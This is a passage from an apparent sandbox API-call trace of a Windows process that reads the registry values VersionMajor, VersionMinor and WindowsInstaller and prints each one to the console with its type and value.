pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.278] GetProcessHeap () returned 0x3c0000 [0149.278] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.278] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xc, pcbData=0x29f780*=0x4) returned 0x0 [0149.278] __iob_func () returned 0x7fefd702a80 [0149.278] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.278] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.278] _fileno (_File=0x7fefd702ab0) returned 1 [0149.278] _errno () returned 0x204bb0 [0149.278] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.278] _errno () returned 0x204bb0 [0149.278] GetFileType (hFile=0x50) returned 0x1 [0149.278] lstrlenW (lpString=" ") returned 4 [0149.278] GetConsoleOutputCP () returned 0x1b5 [0149.278] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.279] GetConsoleOutputCP () returned 0x1b5 [0149.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.279] lstrlenW (lpString="VersionMajor") returned 12 [0149.279] __iob_func () returned 0x7fefd702a80 [0149.279] _fileno (_File=0x7fefd702ab0) returned 1 [0149.279] _errno () returned 0x204bb0 [0149.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.279] _errno () returned 0x204bb0 [0149.279] GetFileType (hFile=0x50) returned 0x1 [0149.279] lstrlenW (lpString="VersionMajor") returned 12 [0149.279] GetConsoleOutputCP () returned 0x1b5 [0149.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.279] GetConsoleOutputCP () returned 0x1b5 [0149.279] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0149.279] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.279] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.279] __iob_func () returned 0x7fefd702a80 [0149.279] _fileno (_File=0x7fefd702ab0) returned 1 [0149.279] _errno () returned 0x204bb0 [0149.279] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.279] _errno () returned 0x204bb0 [0149.279] GetFileType (hFile=0x50) returned 0x1 [0149.279] lstrlenW (lpString=" ") returned 4 [0149.280] GetConsoleOutputCP () returned 0x1b5 [0149.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.280] GetConsoleOutputCP () returned 0x1b5 [0149.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.280] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.280] __iob_func () returned 0x7fefd702a80 [0149.280] _fileno (_File=0x7fefd702ab0) returned 1 [0149.280] _errno () returned 0x204bb0 [0149.280] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.280] _errno () returned 0x204bb0 [0149.280] GetFileType (hFile=0x50) returned 0x1 [0149.280] lstrlenW (lpString="REG_DWORD") returned 9 [0149.280] GetConsoleOutputCP () returned 0x1b5 [0149.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.280] GetConsoleOutputCP () returned 0x1b5 [0149.280] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.280] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.280] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.280] __iob_func () returned 0x7fefd702a80 [0149.280] _fileno (_File=0x7fefd702ab0) returned 1 [0149.280] _errno () returned 0x204bb0 [0149.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.281] _errno () returned 0x204bb0 [0149.281] GetFileType (hFile=0x50) returned 0x1 [0149.281] lstrlenW (lpString=" ") returned 4 [0149.281] GetConsoleOutputCP () returned 0x1b5 [0149.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.281] GetConsoleOutputCP () returned 0x1b5 [0149.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.281] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.281] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.281] __iob_func () returned 0x7fefd702a80 [0149.281] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.281] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xc") returned 3 [0149.281] _fileno (_File=0x7fefd702ab0) returned 1 [0149.281] _errno () returned 0x204bb0 [0149.281] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.281] _errno () returned 0x204bb0 [0149.281] GetFileType (hFile=0x50) returned 0x1 [0149.281] lstrlenW (lpString="0xc") returned 3 [0149.281] GetConsoleOutputCP () returned 0x1b5 [0149.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.281] GetConsoleOutputCP () returned 0x1b5 [0149.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc", lpUsedDefaultChar=0x0) returned 3 [0149.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.282] __iob_func () returned 0x7fefd702a80 [0149.282] _fileno (_File=0x7fefd702ab0) returned 1 [0149.282] _errno () returned 0x204bb0 [0149.282] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.282] _errno () returned 0x204bb0 [0149.282] GetFileType (hFile=0x50) returned 0x1 [0149.282] lstrlenW (lpString="\n") returned 1 [0149.282] GetConsoleOutputCP () returned 0x1b5 [0149.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.282] GetConsoleOutputCP () returned 0x1b5 [0149.282] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.282] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.282] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.282] GetProcessHeap () returned 0x3c0000 [0149.282] GetProcessHeap () returned 0x3c0000 [0149.282] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.282] GetProcessHeap () returned 0x3c0000 [0149.282] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.282] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.282] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.282] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.282] GetProcessHeap () returned 0x3c0000 [0149.282] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.282] GetProcessHeap () returned 0x3c0000 [0149.283] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.283] GetProcessHeap () returned 0x3c0000 [0149.283] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.283] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.283] __iob_func () returned 0x7fefd702a80 [0149.283] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.283] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.283] _fileno (_File=0x7fefd702ab0) returned 1 [0149.283] _errno () returned 0x204bb0 [0149.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.283] _errno () returned 0x204bb0 [0149.283] GetFileType (hFile=0x50) returned 0x1 [0149.283] lstrlenW (lpString=" ") returned 4 [0149.283] GetConsoleOutputCP () returned 0x1b5 [0149.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.283] GetConsoleOutputCP () returned 0x1b5 [0149.283] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.283] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.283] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.283] lstrlenW (lpString="VersionMinor") returned 12 [0149.283] __iob_func () returned 0x7fefd702a80 [0149.283] _fileno (_File=0x7fefd702ab0) returned 1 [0149.283] _errno () returned 0x204bb0 [0149.283] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.283] _errno () returned 0x204bb0 [0149.283] GetFileType (hFile=0x50) returned 0x1 [0149.283] lstrlenW (lpString="VersionMinor") returned 12 [0149.283] GetConsoleOutputCP () returned 0x1b5 [0149.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.284] GetConsoleOutputCP () returned 0x1b5 [0149.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0149.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.284] __iob_func () returned 0x7fefd702a80 [0149.284] _fileno (_File=0x7fefd702ab0) returned 1 [0149.284] _errno () returned 0x204bb0 [0149.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.284] _errno () returned 0x204bb0 [0149.284] GetFileType (hFile=0x50) returned 0x1 [0149.284] lstrlenW (lpString=" ") returned 4 [0149.284] GetConsoleOutputCP () returned 0x1b5 [0149.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.284] GetConsoleOutputCP () returned 0x1b5 [0149.284] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.284] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.284] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.284] __iob_func () returned 0x7fefd702a80 [0149.284] _fileno (_File=0x7fefd702ab0) returned 1 [0149.284] _errno () returned 0x204bb0 [0149.284] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.284] _errno () returned 0x204bb0 [0149.284] GetFileType (hFile=0x50) returned 0x1 [0149.285] lstrlenW (lpString="REG_DWORD") returned 9 [0149.285] GetConsoleOutputCP () returned 0x1b5 [0149.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.285] GetConsoleOutputCP () returned 0x1b5 [0149.285] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.285] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.285] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.285] __iob_func () returned 0x7fefd702a80 [0149.285] _fileno (_File=0x7fefd702ab0) returned 1 [0149.285] _errno () returned 0x204bb0 [0149.285] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.286] _errno () returned 0x204bb0 [0149.286] GetFileType (hFile=0x50) returned 0x1 [0149.286] lstrlenW (lpString=" ") returned 4 [0149.286] GetConsoleOutputCP () returned 0x1b5 [0149.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.286] GetConsoleOutputCP () returned 0x1b5 [0149.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.286] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.286] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.286] __iob_func () returned 0x7fefd702a80 [0149.286] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.286] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0149.286] _fileno (_File=0x7fefd702ab0) returned 1 [0149.286] _errno () returned 0x204bb0 [0149.286] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.286] _errno () returned 0x204bb0 [0149.286] GetFileType (hFile=0x50) returned 0x1 [0149.286] lstrlenW (lpString="0x0") returned 3 [0149.286] GetConsoleOutputCP () returned 0x1b5 [0149.286] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.286] GetConsoleOutputCP () returned 0x1b5 [0149.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0149.287] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.287] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.287] __iob_func () returned 0x7fefd702a80 [0149.287] _fileno (_File=0x7fefd702ab0) returned 1 [0149.287] _errno () returned 0x204bb0 [0149.287] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.287] _errno () returned 0x204bb0 [0149.287] GetFileType (hFile=0x50) returned 0x1 [0149.287] lstrlenW (lpString="\n") returned 1 [0149.287] GetConsoleOutputCP () returned 0x1b5 [0149.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.287] GetConsoleOutputCP () returned 0x1b5 [0149.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.287] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.287] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.287] GetProcessHeap () returned 0x3c0000 [0149.287] GetProcessHeap () returned 0x3c0000 [0149.287] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.287] GetProcessHeap () returned 0x3c0000 [0149.287] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.288] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.288] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.288] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.288] GetProcessHeap () returned 0x3c0000 [0149.288] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.288] GetProcessHeap () returned 0x3c0000 [0149.288] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.288] GetProcessHeap () returned 0x3c0000 [0149.288] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.288] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.288] __iob_func () returned 0x7fefd702a80 [0149.288] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.288] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.288] _fileno (_File=0x7fefd702ab0) returned 1 [0149.288] _errno () returned 0x204bb0 [0149.288] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.288] _errno () returned 0x204bb0 [0149.288] GetFileType (hFile=0x50) returned 0x1 [0149.288] lstrlenW (lpString=" ") returned 4 [0149.288] GetConsoleOutputCP () returned 0x1b5 [0149.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.288] GetConsoleOutputCP () returned 0x1b5 [0149.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.288] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.288] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.288] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.289] __iob_func () returned 0x7fefd702a80 [0149.289] _fileno (_File=0x7fefd702ab0) returned 1 [0149.289] _errno () returned 0x204bb0 [0149.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.289] _errno () returned 0x204bb0 [0149.289] GetFileType (hFile=0x50) returned 0x1 [0149.289] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.289] GetConsoleOutputCP () returned 0x1b5 [0149.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.289] GetConsoleOutputCP () returned 0x1b5 [0149.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0149.289] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.289] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.289] __iob_func () returned 0x7fefd702a80 [0149.289] _fileno (_File=0x7fefd702ab0) returned 1 [0149.289] _errno () returned 0x204bb0 [0149.289] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.289] _errno () returned 0x204bb0 [0149.289] GetFileType (hFile=0x50) returned 0x1 [0149.289] lstrlenW (lpString=" ") returned 4 [0149.289] GetConsoleOutputCP () returned 0x1b5 [0149.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.289] GetConsoleOutputCP () returned 0x1b5 [0149.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.290] __iob_func () returned 0x7fefd702a80 [0149.290] _fileno (_File=0x7fefd702ab0) returned 1 [0149.290] _errno () returned 0x204bb0 [0149.290] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.290] _errno () returned 0x204bb0 [0149.290] GetFileType (hFile=0x50) returned 0x1 [0149.290] lstrlenW (lpString="REG_DWORD") returned 9 [0149.290] GetConsoleOutputCP () returned 0x1b5 [0149.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.290] GetConsoleOutputCP () returned 0x1b5 [0149.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.290] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.290] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.290] __iob_func () returned 0x7fefd702a80 [0149.290] _fileno (_File=0x7fefd702ab0) returned 1 [0149.290] _errno () returned 0x204bb0 [0149.290] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.290] _errno () returned 0x204bb0 [0149.290] GetFileType (hFile=0x50) returned 0x1 [0149.290] lstrlenW (lpString=" ") returned 4 [0149.290] GetConsoleOutputCP () 